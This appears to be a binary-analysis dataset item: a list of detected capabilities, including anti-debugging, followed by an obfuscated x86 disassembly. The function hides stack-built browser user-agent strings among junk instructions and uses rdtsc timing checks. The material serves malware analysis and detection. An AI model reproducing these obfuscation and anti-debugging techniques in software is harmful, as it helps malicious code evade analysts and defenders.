Function at 0x6c9a55
Capabilities:
Authenticate hmac
Check http status code
Encode data using base64
Execute anti-debugging instructions
Parse pe header
Write file on windows

Disassembly:
sub eax, eax
movsx bx, bl
clc
mov ecx, dword [ebp - 0x10]
rcr ebx, 0xca
mov dword fs:[0], ecx
shl cl, 0x81
stc
bts edi, ecx
pop ecx
btr ebx, 0xb9
stc
rcr edi, 0x4d
pop edi
pop esi
btc ecx, 0x83
shl bh, 0x42
setp bl
pop ebx
mov ecx, dword [ebp - 0x1c]
cmc
jmp loc.00771994
call fcn.004737c0
add esp, 0xc
movsx ecx, bx
mov edx, 0x4d
rcr ecx, 0x27
setl ch
bt eax, 0x60
mov word [ebp - 0x1a20], dx
mov eax, 0x6f
bsf edx, esp
rcl dh, 0x89
test bl, dh
mov word [ebp - 0x1a1e], ax
lahf
stc
mov ecx, 0x7a
rcl dh, 0xac
sal ax, cl
mov word [ebp - 0x1a1c], cx
mov edx, 0x69
mov word [ebp - 0x1a1a], dx
mov eax, 0x6c
setl dl
mov word [ebp - 0x1a18], ax
mov ecx, eax
mov word [ebp - 0x1a16], cx
rol ch, 0xee
xor ax, 0x276f
mov edx, 0x61
xadd cx, cx
mov word [ebp - 0x1a14], dx
dec al
mov eax, 0x2f
inc ecx
bt ecx, esp
mov word [ebp - 0x1a12], ax
mov ecx, 0x35
btc eax, 0xb8
mov word [ebp - 0x1a10], cx
shld eax, ecx, 0x9a
add al, 0xd9
mov edx, 0x2e
and ah, 0x5f
bswap eax
btr cx, 0xfd
mov word [ebp - 0x1a0e], dx
mov eax, 0x30
mov word [ebp - 0x1a0c], ax
btr cx, bp
cbw
mov ecx, 0x20
sete ah
sar ax, 0xf0
mov word [ebp - 0x1a0a], cx
jmp 0x758216
mov word [ebp - 0x135c], dx
mov word [ebp - 0x135a], ax
sal eax, 0x33
sbb ecx, 0x29176c3f
mov ecx, 0x36
mov word [ebp - 0x1358], cx
btr eax, edi
xor edx, edx
lahf
mov word [ebp - 0x1356], dx
bswap eax
jmp 0xf7197e
call fcn.004737c0
add esp, 0xc
mov ecx, 0x4d
xor ax, di
movsx eax, cx
mov word [ebp - 0x1220], cx
lahf
mov edx, 0x6f
adc cl, 0xad
mov word [ebp - 0x121e], dx
sbb eax, 0x71db17b0
mov eax, 0x7a
shrd ecx, ebx, 0xc8
sal edx, cl
mov word [ebp - 0x121c], ax
movsx eax, bp
jmp 0x79bf14
mov eax, dword [ebp + 0x14]
movzx edx, sp
mov dword [ebp - 0x1e28], eax
lahf
not dh
mov ecx, dword [ebp + 0x18]
mov dl, 0x14
mov dword [ebp - 0x1e58], ecx
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x1e5c], edx
jmp 0x6c1d43
mov ecx, 0x6b
sub al, dl
and eax, edi
mov word [ebp - 0x19b6], cx
shrd eax, edi, 0x6a
cwde
mov edx, 0x6f
mov word [ebp - 0x19b4], dx
mov eax, 0x2f
btr dx, sp
bsr dx, ax
cmp bp, dx
mov word [ebp - 0x19b2], ax
rcl edx, 0xa7
cwde
mov ecx, 0x32
movsx edx, dx
shl ah, cl
mov word [ebp - 0x19b0], cx
shld cx, bx, 0xd9
btc edx, ebx
mov edx, 0x30
btc ecx, 0x76
test si, 0x277a
mov word [ebp - 0x19ae], dx
bsf ax, cx
mov eax, 0x31
xadd ch, ch
mov word [ebp - 0x19ac], ax
adc cl, 0x7d
shr ecx, cl
dec cx
mov ecx, edx
test dx, 0x3f6d
mov word [ebp - 0x19aa], cx
jmp 0x75930a
mov edx, 0x6e
and cx, 0x6a6a
mov word [ebp - 0x17fe], dx
sal ah, cl
mov eax, 0x74
mov word [ebp - 0x17fc], ax
cmp esi, ecx
movsx ecx, bx
mov ecx, 0x6f
mov word [ebp - 0x17fa], cx
mov edx, 0x73
setno al
ror eax, 0x8a
nop
mov word [ebp - 0x17f8], dx
bt edx, edx
adc cx, 0x2385
btc dx, 0xab
mov eax, 0x68
mov word [ebp - 0x17f6], ax
mov ecx, 0x3b
mov word [ebp - 0x17f4], cx
dec dx
mov edx, 0x20
btr cx, si
bt cx, 0x31
mov word [ebp - 0x17f2], dx
cwd
mov eax, 0x49
btc ecx, ebp
not dx
mov word [ebp - 0x17f0], ax
cdq
mov ecx, 0x6e
test edi, 0x6a886331
and dh, cl
rol edx, 0xe
mov word [ebp - 0x17ee], cx
rcl cx, cl
mov edx, 0x74
shr eax, 0xa0
dec ecx
bts cx, bp
mov word [ebp - 0x17ec], dx
cmovg edx, ebx
mov eax, 0x65
mov word [ebp - 0x17ea], ax
btc eax, 0xd7
cbw
clc
mov ecx, 0x6c
mov word [ebp - 0x17e8], cx
rcl al, 0x6b
mov edx, 0x20
mov word [ebp - 0x17e6], dx
shl eax, 0x43
rcr dx, cl
cmovo ecx, ebx
mov eax, 0x4d
add edx, 0x75830a68
and cx, dx
adc edx, ecx
mov word [ebp - 0x17e4], ax
sar cx, cl
mov ecx, 0x61
mov word [ebp - 0x17e2], cx
xadd ax, cx
stc
add ax, 0x2990
mov edx, 0x63
cmp edi, esi
mov word [ebp - 0x17e0], dx
lahf
cbw
xadd ecx, eax
mov eax, 0x20
jmp 0x76a31c
mov edx, 0x6e
mov word [ebp - 0x1e00], dx
xor al, 0x1e
test bl, 0x6a
mov eax, 0x74
bt cx, bp
mov word [ebp - 0x1dfe], ax
bswap edx
ror edx, cl
adc eax, edi
mov ecx, 0x6f
mov word [ebp - 0x1dfc], cx
mov edx, 0x73
test dx, 0x4cf1
or ch, 0x16
mov word [ebp - 0x1dfa], dx
mov eax, 0x68
adc ecx, edx
sar cl, cl
not cl
mov word [ebp - 0x1df8], ax
cmp ecx, 0x34e124d6
mov ecx, 0x3b
mov word [ebp - 0x1df6], cx
bsf cx, di
btc ecx, edx
rol ch, cl
mov edx, 0x20
cwde
shr ch, 1
and ecx, esp
mov word [ebp - 0x1df4], dx
xor dl, 0xab
shl ecx, 0x80
mov eax, 0x49
mov word [ebp - 0x1df2], ax
and cx, 0x4e56
sal dl, 0x5e
test sp, 0x23dd
mov ecx, 0x6e
movzx ax, ah
bsf ax, sp
bts ax, dx
mov word [ebp - 0x1df0], cx
movsx ecx, sp
rol ah, 0xff
mov edx, 0x74
xor eax, esi
shr ch, 0x5c
sal cl, cl
mov word [ebp - 0x1dee], dx
inc dl
btr dx, 0x57
sbb ah, 3
mov eax, 0x65
sub dl, 0xff
btr ecx, ecx
rol dl, cl
mov word [ebp - 0x1dec], ax
mov ax, dx
mov ecx, 0x6c
or dx, si
cmovae eax, esi
mov word [ebp - 0x1dea], cx
btr cx, 0xe8
shrd ax, cx, 0x62
mov edx, 0x20
test ebp, 0x16137e49
mov word [ebp - 0x1de8], dx
mov eax, 0x4d
xor dh, dl
mov word [ebp - 0x1de6], ax
cwde
mov ecx, 0x61
dec eax
mov word [ebp - 0x1de4], cx
mov edx, 0x63
cmova cx, bp
mov word [ebp - 0x1de2], dx
mov eax, 0x20
rcr edx, cl
mov word [ebp - 0x1de0], ax
test edx, 0x1a532186
bt ecx, 0xce
neg edx
mov ecx, 0x4f
jmp 0x763a80
push eax
jmp 0x79567a
push ecx
jmp 0x537e10
mov ecx, 0x62
or dh, 0xe6
sar dh, cl
mov word [ebp - 0x15d8], cx
sar ch, 0xec
mov edx, 0x4b
shl ax, 0x43
adc al, 0x9c
mov word [ebp - 0x15d6], dx
btr dx, cx
mov eax, 0x69
xchg dh, cl
rol cl, 0xfb
mov word [ebp - 0x15d4], ax
btr dx, cx
ror cl, 0x3b
mov ecx, 0x74
ror dh, 0x87
add al, dl
mov word [ebp - 0x15d2], cx
rol cl, 0x68
clc
mov edx, 0x2f
mov word [ebp - 0x15d0], dx
cmp ebp, 0x611e338a
rol ch, cl
mov eax, 0x35
not dh
mov word [ebp - 0x15ce], ax
add ax, 0x22c8
cmp sp, 0x270e
bsr ecx, edi
mov ecx, 0x33
setb dl
mov word [ebp - 0x15cc], cx
sal ah, 0xd5
shr dl, 0x15
movsx dx, dl
mov edx, 0x37
mov word [ebp - 0x15ca], dx
mov eax, 0x2e
inc dx
mov word [ebp - 0x15c8], ax
btr eax, 0x2d
stc
mov word [ebp - 0x15c6], cx
mov edx, 0x36
btc cx, 0xa0
mov word [ebp - 0x15c4], dx
mov al, 0xa2
xchg ch, dl
btc eax, eax
mov eax, 0x20
mov word [ebp - 0x15c2], ax
sar ch, cl
mov ecx, 0x28
dec al
sal eax, 0x48
mov word [ebp - 0x15c0], cx
shr al, cl
movzx ecx, sp
mov edx, 0x4b
shl ax, 0x9c
rcr ecx, cl
mov word [ebp - 0x15be], dx
mov eax, 0x48
mov word [ebp - 0x15bc], ax
movsx eax, ax
and dh, 0xd1
mov ecx, 0x54
sar dh, cl
or dx, di
mov word [ebp - 0x15ba], cx
bswap edx
test ebx, 0x48276c1a
mov edx, 0x4d
mov word [ebp - 0x15b8], dx
mov eax, 0x4c
rcr cx, cl
or dx, sp
or dx, 0x5824
mov word [ebp - 0x15b6], ax
shld cx, si, 0x23
mov ecx, 0x2c
cmc
stc
sub dx, cx
mov word [ebp - 0x15b4], cx
shrd dx, cx, 0xd0
bswap ax
mov edx, 0x20
sub ax, sp
movsx eax, bx
bsr ecx, esp
mov word [ebp - 0x15b2], dx
mov eax, 0x6c
mov dl, dl
stc
not ecx
mov word [ebp - 0x15b0], ax
setnp al
shrd eax, esi, 0x85
mov ecx, 0x69
mov word [ebp - 0x15ae], cx
mov edx, 0x6b
bsf ax, cx
mov word [ebp - 0x15ac], dx
or ecx, edx
movzx ecx, cx
rdtsc
mov eax, 0x65
btc edx, 0x54
mov word [ebp - 0x15aa], ax
bsf dx, si
btr dx, di
mov ecx, 0x20
mov word [ebp - 0x15a8], cx
xchg dx, dx
cmovnp cx, di
and cx, si
mov edx, 0x47
mov word [ebp - 0x15a6], dx
mov word [ebp - 0x15a4], ax
rcr cx, 0xe5
cmp sp, 0x36e4
xadd edx, edx
mov ecx, 0x63
mov word [ebp - 0x15a2], cx
mov edx, 0x6b
cmp ax, si
mov word [ebp - 0x15a0], dx
bswap dx
mov eax, 0x6f
mov word [ebp - 0x159e], ax
cmp sp, ax
dec dh
mov ecx, 0x29
sar edx, cl
sub edx, eax
mov word [ebp - 0x159c], cx
cmc
shr cl, cl
cmovb edx, edx
mov edx, 0x20
neg ah
shl ah, cl
mov word [ebp - 0x159a], dx
mov eax, 0x43
mov word [ebp - 0x1598], ax
mov ecx, 0x68
mov word [ebp - 0x1596], cx
mov edx, 0x72
sal ax, cl
sar ah, 0xe1
mov word [ebp - 0x1594], dx
sal cx, 0x4c
cdq
mov eax, 0x6f
cmovge cx, bp
mov word [ebp - 0x1592], ax
cmp bx, si
and edx, 0xff44a19
mov ecx, 0x6d
btr edx, ebx
lahf
mov word [ebp - 0x1590], cx
shl dh, 0x58
rcr ax, cl
ror dh, cl
mov edx, 0x65
mov word [ebp - 0x158e], dx
lahf
mov eax, 0x2f
test cx, 0xba6
bts cx, di
mov word [ebp - 0x158c], ax
bt ax, dx
or dx, bp
lahf
mov ecx, 0x34
adc dx, 0x5cef
mov word [ebp - 0x158a], cx
adc eax, esi
mov edx, 0x39
shld eax, eax, 5
btr ax, 0xea
mov word [ebp - 0x1588], dx
movsx dx, ah
mov eax, 0x2e
jmp 0x75c84b
mov eax, 0x20
rcl ch, cl
mov word [ebp - 0x120a], ax
cwd
jmp 0x102e51f
mov word [ebp - 0x19a4], cx
shl cl, cl
mov edx, eax
bts ax, di
mov ah, dh
rcr ax, 0x31
mov word [ebp - 0x19a2], dx
bts ecx, ebp
mov eax, 0x20
sal edx, 0x9e
ror dh, cl
mov word [ebp - 0x19a0], ax
test bl, 0x5c
seta dh
mov ecx, 0x46
mov word [ebp - 0x199e], cx
bt ax, ax
mov edx, 0x69
sbb cx, si
test bp, 0x25cb
mov word [ebp - 0x199c], dx
bt cx, 0x78
movsx dx, bl
movsx eax, cx
mov eax, 0x72
bswap dx
bt cx, ax
mov word [ebp - 0x199a], ax
rcl edx, 0xbb
xchg dx, dx
cmovo dx, bp
mov ecx, 0x65
shl dx, cl
cmc
rdtsc
mov word [ebp - 0x1998], cx
rdtsc
bt eax, 0x4a
mov edx, 0x66
add ax, 0x4a68
setnp ch
mov word [ebp - 0x1996], dx
bts ax, sp
mov eax, 0x6f
mov word [ebp - 0x1994], ax
mov ecx, 0x78
mov word [ebp - 0x1992], cx
btr eax, 0xd1
mov edx, 0x2f
movzx eax, dx
mov word [ebp - 0x1990], dx
mov eax, 0x34
xchg dx, dx
mov word [ebp - 0x198e], ax
mov ecx, 0x37
mov word [ebp - 0x198c], cx
xchg dl, ah
mov eax, 0x4d4a5c80
mov edx, 0x2e
mov word [ebp - 0x198a], dx
shld dx, bp, 0xaa
sbb dx, 0x3072
btr edx, edx
mov eax, 0x30
add edx, ebp
and dx, 0x4b46
bt edx, ebp
mov word [ebp - 0x1988], ax
xor ecx, ecx
xchg dl, dl
movsx dx, ch
not dh
mov word [ebp - 0x1986], cx
cdq
mov edx, esi
push 0x164
movzx edx, di
mov dh, 0xed
setge dh
push ecx
cmovge dx, sp
xchg edx, edx
lea edx, [ebp - 0x1984]
jmp 0x1048da3
call fcn.004737c0
lea esp, [esp + 0xc]
mov eax, 0x4d
mov word [ebp - 0x1820], ax
mov ecx, 0x6f
btc eax, eax
xor eax, 0x38314b75
mov word [ebp - 0x181e], cx
movsx edx, dx
btr edx, 0x73
mov edx, 0x7a
movzx eax, cx
mov word [ebp - 0x181c], dx
mov eax, 0x69
add edx, esp
mov word [ebp - 0x181a], ax
mov ecx, 0x6c
setg dl
or dl, 0x69
mov word [ebp - 0x1818], cx
inc al
mov edx, ecx
bsr cx, bp
shl al, 0xdb
ror cx, 0xa5
mov word [ebp - 0x1816], dx
neg ch
mov edx, esp
mov eax, 0x61
mov word [ebp - 0x1814], ax
not al
cwd
mov ecx, 0x2f
adc edx, ebp
lahf
mov word [ebp - 0x1812], cx
mov edx, 0x35
mov word [ebp - 0x1810], dx
mov eax, 0x2e
and ch, 8
mov word [ebp - 0x180e], ax
bsf ecx, eax
sbb edx, ecx
mov ecx, 0x30
btr eax, 0x57
mov word [ebp - 0x180c], cx
or cx, dx
rcr ch, 0xc7
bts edx, ecx
mov edx, 0x20
mov word [ebp - 0x180a], dx
mov eax, 0x28
not ecx
inc dl
mov word [ebp - 0x1808], ax
or eax, 0x70316197
shrd edx, esi, 0xbe
mov ecx, 0x4d
sbb edx, 0x42045020
cmp esp, 0x4d872239
bswap dx
mov word [ebp - 0x1806], cx
mov edx, 0x61
xadd ch, al
rol eax, cl
bts eax, ecx
mov word [ebp - 0x1804], dx
rdtsc
rcr dh, cl
mov eax, 0x63
mov word [ebp - 0x1802], ax
not dx
sbb ax, bp
mov ecx, 0x69
neg dx
mov word [ebp - 0x1800], cx
xadd ah, dl
jmp 0x610107
mov edx, 0x7a
movzx ecx, si
btr eax, 0x9f
mov word [ebp - 0x141c], dx
mov eax, 0x69
xchg ecx, ecx
sal ecx, 0xee
shr edx, cl
mov word [ebp - 0x141a], ax
mov ecx, 0x6c
movsx dx, ch
mov word [ebp - 0x1418], cx
and dx, bp
add ax, 0x3ef9
mov dx, 0x69eb
mov edx, ecx
bswap ecx
add ecx, esi
mov word [ebp - 0x1416], dx
or edx, edx
mov eax, 0x61
mov word [ebp - 0x1414], ax
clc
not al
sar al, 0x21
mov ecx, 0x2f
btc dx, sp
or dx, cx
rcl dl, 0xc3
mov word [ebp - 0x1412], cx
neg ax
mov edx, 0x35
bsf eax, ecx
seto cl
add cl, 0x92
mov word [ebp - 0x1410], dx
setns al
sal ch, 0xc1
or cx, 0x6e6b
mov eax, 0x2e
sal cx, 0x32
cwd
mov word [ebp - 0x140e], ax
mov ecx, 0x30
mov word [ebp - 0x140c], cx
movsx ecx, bx
mov edx, 0x20
sbb al, al
mov word [ebp - 0x140a], dx
movsx edx, cx
stc
xor eax, edi
mov eax, 0x28
mov ecx, edx
cmovne cx, dx
mov word [ebp - 0x1408], ax
mov ecx, 0x57
mov word [ebp - 0x1406], cx
jmp 0x1008bb1
mov dword [esi], 0
push 0
mov ax, 0x5ca7
mov eax, dword [0x52afa0]
jmp 0xfa6230
push ebp
movsx eax, dx
clc
adc al, 0xf9
mov ebp, esp
adc eax, 0x750b4c29
push 0xfffffffffffffffe
and eax, ecx
push 0x425f90
cmp dx, 0x6d31
setge ah
push 0x473a90
mov eax, dword fs:[0]
cmc
cmp edi, 0xf1b0383
stc
push eax
movzx ax, bh
not al
shrd ax, sp, 0x1d
sub esp, 8
mov eax, 0x1e50
call fcn.00474480
mov eax, dword [0x51f620]
xor dword [ebp - 8], eax
cmp dl, 0x62
xor eax, ebp
mov dword [ebp - 0x1c], eax
jmp 0xf49bc4
mov word [ebp - 0x11a0], dx
cmovs cx, bp
sbb edx, 0xbc261f7
mov eax, 0x4c
jmp loc.0042df70
mov word [ebp - 0x13f2], dx
mov eax, 0x36
and cx, 0x397c
mov word [ebp - 0x13f0], ax
cmc
and al, ah
cmp dx, di
mov ecx, 0x2e
shl ax, cl
mov word [ebp - 0x13ee], cx
sal ecx, 0x14
add al, 0xc8
mov edx, 0x31
mov word [ebp - 0x13ec], dx
mov eax, 0x29
add ch, 0x7a
sub ecx, esp
btr dx, 0x31
mov word [ebp - 0x13ea], ax
not ah
mov ecx, 0x20
bt edx, 0xfe
jmp 0x10647ac
call fcn.004737c0
lea esp, [esp + 0xc]
cmovne edx, ebp
cmp si, cx
mov ecx, 0x4d
bts eax, esp
sub ah, 0xd1
rcr dx, cl
mov word [ebp - 0x1620], cx
not ax
sal ch, 0x96
mov edx, 0x6f
mov word [ebp - 0x161e], dx
adc dx, si
mov eax, 0x7a
bsf dx, bp
btc edx, ebp
mov word [ebp - 0x161c], ax
sbb ah, 0xf2
bsr eax, ecx
shld edx, esi, 0xb5
mov ecx, 0x69
sal edx, 0xc1
mov word [ebp - 0x161a], cx
mov edx, 0x6c
cmp dl, 0xe
add ah, dh
jmp 0x10524f7
mov dword [ebp - 0x1e40], eax
cbw
not si
mov dword [ebp - 0x1e38], ecx
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x1e30], esi
mov dword [ebp - 0x1e2c], edx
cbw
jmp 0x5d45cf
je 0x42c4d2
mov ecx, 0x4f
sbb edx, edi
mov word [ebp - 0x1e20], cx
bts ax, bp
lahf
shld dx, si, 0x3b
mov edx, 0x70
mov word [ebp - 0x1e1e], dx
cbw
mov eax, 0x65
mov word [ebp - 0x1e1c], ax
cbw
shr ah, cl
bt dx, 0x91
mov ecx, 0x72
cmc
rol ax, cl
movzx dx, bh
mov word [ebp - 0x1e1a], cx
shr ax, cl
bsr eax, edx
add ch, bh
mov edx, 0x61
mov word [ebp - 0x1e18], dx
movsx edx, sp
mov eax, 0x2f
shl dh, cl
sbb edx, esi
mov word [ebp - 0x1e16], ax
rcl eax, 0x4d
bsr ax, bx
mov ecx, 0x39
mov word [ebp - 0x1e14], cx
mov cl, 0x5d
mov edx, 0x2e
rcl cl, cl
mov word [ebp - 0x1e12], dx
xor cx, bp
sal ch, cl
test bl, 0xa3
mov eax, 0x38
mov cx, dx
mov word [ebp - 0x1e10], ax
shl edx, cl
mov ecx, 0x30
mov word [ebp - 0x1e0e], cx
xor ah, bh
and ecx, edx
mov edx, 0x20
bsr cx, si
shr ch, cl
and ax, 0x4267
mov word [ebp - 0x1e0c], dx
sub cx, sp
mov eax, 0x28
mov word [ebp - 0x1e0a], ax
mov ecx, 0x4d
mov ax, dx
or dx, 0x1ae2
cbw
mov word [ebp - 0x1e08], cx
add ecx, 0x72082978
mov edx, 0x61
mov word [ebp - 0x1e06], dx
bsr dx, si
dec ax
mov eax, 0x63
sub dl, dl
or dh, 0x60
mov word [ebp - 0x1e04], ax
mov ecx, 0x69
rcr eax, cl
mov word [ebp - 0x1e02], cx
jmp 0x621438
mov edx, 0x28
add cx, di
mov word [ebp - 0x1a08], dx
rol cx, 0x36
btc edx, ecx
mov eax, 0x57
shl ecx, cl
mov word [ebp - 0x1a06], ax
shr al, cl
mov ecx, 0x69
shl ax, 0x88
mov word [ebp - 0x1a04], cx
sbb al, dl
btr eax, 0xe
mov edx, 0x6e
mov word [ebp - 0x1a02], dx
shld ecx, eax, 0xcd
cmp si, bx
xor eax, 0x14147094
mov eax, 0x64
shr dl, 0xed
btc dx, dx
bts edx, ebp
mov word [ebp - 0x1a00], ax
shl ecx, 0x10
sub ecx, 0x2ba670a6
mov ecx, 0x6f
cmp edx, 0x67211dea
not dl
mov word [ebp - 0x19fe], cx
mov edx, 0x77
not cl
neg cl
mov word [ebp - 0x19fc], dx
sub eax, 0x61e5617e
bsr ax, sp
xadd cx, ax
mov eax, 0x73
mov word [ebp - 0x19fa], ax
mov ecx, 0x20
stc
or ah, 0x7f
mov word [ebp - 0x19f8], cx
btr eax, 0xdc
or edx, esi
rcr al, 0x9f
mov edx, 0x4e
mov word [ebp - 0x19f6], dx
mov eax, 0x54
cdq
sar edx, 0x3e
btc dx, 0x5c
mov word [ebp - 0x19f4], ax
mov word [ebp - 0x19f2], cx
lahf
cmp edi, edi
mov edx, 0x36
movsx ecx, si
add cx, 0x32b8
bt ecx, 0xfd
mov word [ebp - 0x19f0], dx
mov eax, 0x2e
neg dl
cmp sp, sp
mov word [ebp - 0x19ee], ax
adc edx, 0x13657206
btr dx, sp
dec eax
mov ecx, 0x31
cdq
mov word [ebp - 0x19ec], cx
mov edx, 0x3b
mov word [ebp - 0x19ea], dx
adc eax, esp
mov eax, 0x20
inc ch
and edx, esi
mov word [ebp - 0x19e8], ax
mov ecx, 0x57
mov word [ebp - 0x19e6], cx
mov edx, 0x69
sub ah, 0x3d
sal ax, 0x86
mov word [ebp - 0x19e4], dx
cwd
mov eax, 0x6e
btr edx, eax
mov word [ebp - 0x19e2], ax
sbb al, bh
not edx
jmp 0x105c428
mov word [ebp - 0x19a8], dx
mov word [ebp - 0x19a6], ax
jmp 0x698988
mov word [ebp - 0x1586], ax
bts edx, edi
mov ecx, 0x30
bts edx, edi
mov word [ebp - 0x1584], cx
mov edx, eax
sal eax, 0x9e
rcl eax, cl
mov word [ebp - 0x1582], dx
btr cx, sp
stc
mov eax, 0x32
mov word [ebp - 0x1580], ax
bts edx, esp
mov ecx, 0x36
sub edx, ecx
xchg dx, dx
mov word [ebp - 0x157e], cx
sub ch, al
shl dx, cl
mov edx, eax
rcr eax, cl
movzx eax, di
cmp edx, 0x53115ddd
mov word [ebp - 0x157c], dx
rdtsc
shl eax, 0x95
sal cx, 0xa8
mov eax, 0x33
adc dl, 0x5b
mov word [ebp - 0x157a], ax
shld dx, sp, 0x75
mov ecx, 0x2e
mov word [ebp - 0x1578], cx
clc
cdq
rcr al, cl
mov edx, 0x31
bt cx, di
mov word [ebp - 0x1576], dx
cmp sp, 0x3c1e
cmp di, bp
mov eax, edx
btc cx, 0xe6
not cl
and cx, 0x3c49
mov word [ebp - 0x1574], ax
inc al
adc ecx, edi
mov ecx, 0x32
mov word [ebp - 0x1572], cx
cmp esp, 0x241453f7
shl eax, 0xc7
mov edx, 0x20
rol ax, cl
mov word [ebp - 0x1570], dx
rdtsc
sal ch, 0x46
mov eax, 0x53
mov word [ebp - 0x156e], ax
mov ecx, 0x61
stc
mov word [ebp - 0x156c], cx
rol ah, 0x39
mov edx, 0x66
mov word [ebp - 0x156a], dx
btc dx, 0xa2
lahf
mov eax, ecx
movsx edx, dx
and ecx, eax
mov word [ebp - 0x1568], ax
mov ecx, 0x72
shr edx, 0xee
mov word [ebp - 0x1566], cx
mov edx, 0x69
rcr ax, cl
cwde
bswap eax
mov word [ebp - 0x1564], dx
shrd cx, si, 0x54
mov eax, 0x2f
ror dh, cl
mov word [ebp - 0x1562], ax
mov ecx, 0x35
mov word [ebp - 0x1560], cx
mov edx, 0x33
mov word [ebp - 0x155e], dx
rcl al, 0x19
clc
mov eax, 0x37
mov word [ebp - 0x155c], ax
rcr ch, cl
clc
mov ecx, 0x2e
mov word [ebp - 0x155a], cx
mov word [ebp - 0x1558], dx
or dh, 0xdf
mov eax, 0x36
shld edx, ebx, 0xab
mov word [ebp - 0x1556], ax
sub ecx, ecx
mov word [ebp - 0x1554], cx
push 0x132
movzx edx, dx
movsx dx, cl
push ecx
lea edx, [ebp - 0x1552]
jmp 0x105ccdd
mov word [ebp - 0x1dde], cx
mov edx, 0x53
test ax, 0x49f5
mov word [ebp - 0x1ddc], dx
shl dl, cl
mov word [ebp - 0x1dda], ax
seto dl
cmovb edx, esi
mov ecx, 0x58
shrd edx, esi, 0xd2
mov dl, 0xb4
sub dl, bh
mov word [ebp - 0x1dd8], cx
btr dx, 0xd1
mov ch, 0x65
mov edx, 0x3b
stc
sar cl, cl
mov word [ebp - 0x1dd6], dx
btr cx, cx
bt cx, 0x92
mov word [ebp - 0x1dd4], ax
sub ecx, ecx
mov ecx, 0x55
mov word [ebp - 0x1dd2], cx
sub ecx, 0x648f087f
btr cx, 0x67
mov word [ebp - 0x1dd0], dx
shld dx, ax, 0x20
mov word [ebp - 0x1dce], ax
mov ecx, 0x65
cdq
mov word [ebp - 0x1dcc], cx
mov edx, 0x6e
bt ax, 0xe
mov word [ebp - 0x1dca], dx
sbb dx, 0x6efa
cmovno eax, esi
mov dl, cl
mov eax, 0x29
cwd
mov word [ebp - 0x1dc8], ax
mov ecx, 0x20
shl edx, 0x4b
test edi, ebp
sbb dx, 0x26f3
mov word [ebp - 0x1dc6], cx
cmovns ax, bp
setp al
sub eax, ecx
mov edx, 0x50
xchg cl, ch
mov word [ebp - 0x1dc4], dx
mov eax, 0x72
mov word [ebp - 0x1dc2], ax
ror dx, 0xbe
mov ecx, 0x65
bts dx, ax
cmc
mov word [ebp - 0x1dc0], cx
xor ecx, edi
mov edx, 0x73
not cx
mov word [ebp - 0x1dbe], dx
sar dx, cl
cmc
xchg ch, al
mov eax, 0x74
mov word [ebp - 0x1dbc], ax
mov ecx, 0x6f
mov word [ebp - 0x1dba], cx
btc dx, di
mov edx, 0x2f
mov word [ebp - 0x1db8], dx
mov eax, 0x32
mov word [ebp - 0x1db6], ax
shrd dx, di, 0x6c
mov ecx, 0x2e
mov word [ebp - 0x1db4], cx
movzx edx, di
mov edx, eax
mov word [ebp - 0x1db2], dx
mov eax, ecx
test esi, ebp
sar dx, 0xc8
mov word [ebp - 0x1db0], ax
mov ecx, 0x31
lahf
btc dx, di
sal edx, 0x73
mov word [ebp - 0x1dae], cx
test esi, edx
add ch, 0xdb
mov edx, 0x35
mov word [ebp - 0x1dac], dx
mov eax, 0x20
btr edx, edx
sbb edx, 0x4b430271
btr edx, 0x1d
mov word [ebp - 0x1daa], ax
sbb ax, bx
mov ecx, 0x56
xchg dx, ax
sub dh, 0x81
sar edx, cl
mov word [ebp - 0x1da8], cx
rcl cx, cl
xchg al, dh
adc al, 0xc3
mov edx, 0x65
movsx ax, bh
mov word [ebp - 0x1da6], dx
mov ch, 0x59
mov eax, 0x72
jmp 0x78eb37
mov word [ebp - 0x17de], ax
add ecx, esp
xor edx, ecx
mov ecx, 0x4f
sal dh, 0x55
dec dl
mov word [ebp - 0x17dc], cx
mov edx, 0x53
mov word [ebp - 0x17da], dx
mov word [ebp - 0x17d8], ax
sar dx, 0x80
mov ecx, 0x58
sal dx, cl
cdq
shrd edx, edi, 0xb6
mov word [ebp - 0x17d6], cx
or ch, 0x62
add ecx, 0x2e03150b
mov edx, eax
test edx, ebx
mov word [ebp - 0x17d4], dx
cmovp dx, di
mov eax, 0x78
bts edx, edi
xor ecx, edi
mov word [ebp - 0x17d2], ax
adc ax, 0x17a1
mov ecx, 0x2e
lahf
neg dh
rcl dl, cl
mov word [ebp - 0x17d0], cx
shl ecx, cl
mov edx, 0x79
mov word [ebp - 0x17ce], dx
mov eax, 0x3b
movsx ecx, bp
movzx dx, dh
not cl
mov word [ebp - 0x17cc], ax
mov ecx, 0x20
shr ah, cl
lahf
mov word [ebp - 0x17ca], cx
cbw
rcl dx, cl
bsr cx, dx
mov edx, 0x72
mov word [ebp - 0x17c8], dx
bsr ecx, ebp
mov eax, 0x76
sal dx, cl
mov word [ebp - 0x17c6], ax
sar cl, cl
bt ax, ax
mov ecx, 0x3a
and ax, bp
movzx edx, di
mov word [ebp - 0x17c4], cx
mov edx, 0x34
cbw
shr cl, cl
mov word [ebp - 0x17c2], dx
mov eax, 0x32
bsf edx, ecx
neg cx
ror dx, cl
mov word [ebp - 0x17c0], ax
setge ch
mov ecx, 0x2e
sbb ah, 0xe2
mov edx, 0x40cb72a8
mov word [ebp - 0x17be], cx
cmp esp, esi
test si, 0x3872
mov edx, 0x30
mov word [ebp - 0x17bc], dx
test bx, bx
mov eax, 0x29
mov ecx, 0x2eb10dcd
sbb ecx, 0x236e2f0d
movsx edx, cx
mov word [ebp - 0x17ba], ax
mov ecx, 0x20
sub dx, di
shrd edx, ebx, 0x27
mov word [ebp - 0x17b8], cx
bswap cx
sbb eax, edx
clc
mov edx, 0x47
mov word [ebp - 0x17b6], dx
mov eax, 0x65
mov word [ebp - 0x17b4], ax
xadd dl, dl
test ebp, ebp
bt ax, 0x93
mov ecx, 0x63
cmp bx, 0x6a23
add dh, 0xa0
shr dh, cl
mov word [ebp - 0x17b2], cx
sal dx, cl
mov edx, 0x6b
cmp edi, 0x63234a1b
mov word [ebp - 0x17b0], dx
mov eax, 0x6f
xadd ecx, ecx
bt ecx, edi
mov word [ebp - 0x17ae], ax
movzx ax, ah
mov ecx, 0x2f
mov word [ebp - 0x17ac], cx
mov edx, 0x32
clc
rcr cl, 0xa0
mov word [ebp - 0x17aa], dx
mov eax, 0x30
mov word [ebp - 0x17a8], ax
mov ecx, 0x31
btr edx, 0xb9
and dh, 0xb4
mov word [ebp - 0x17a6], cx
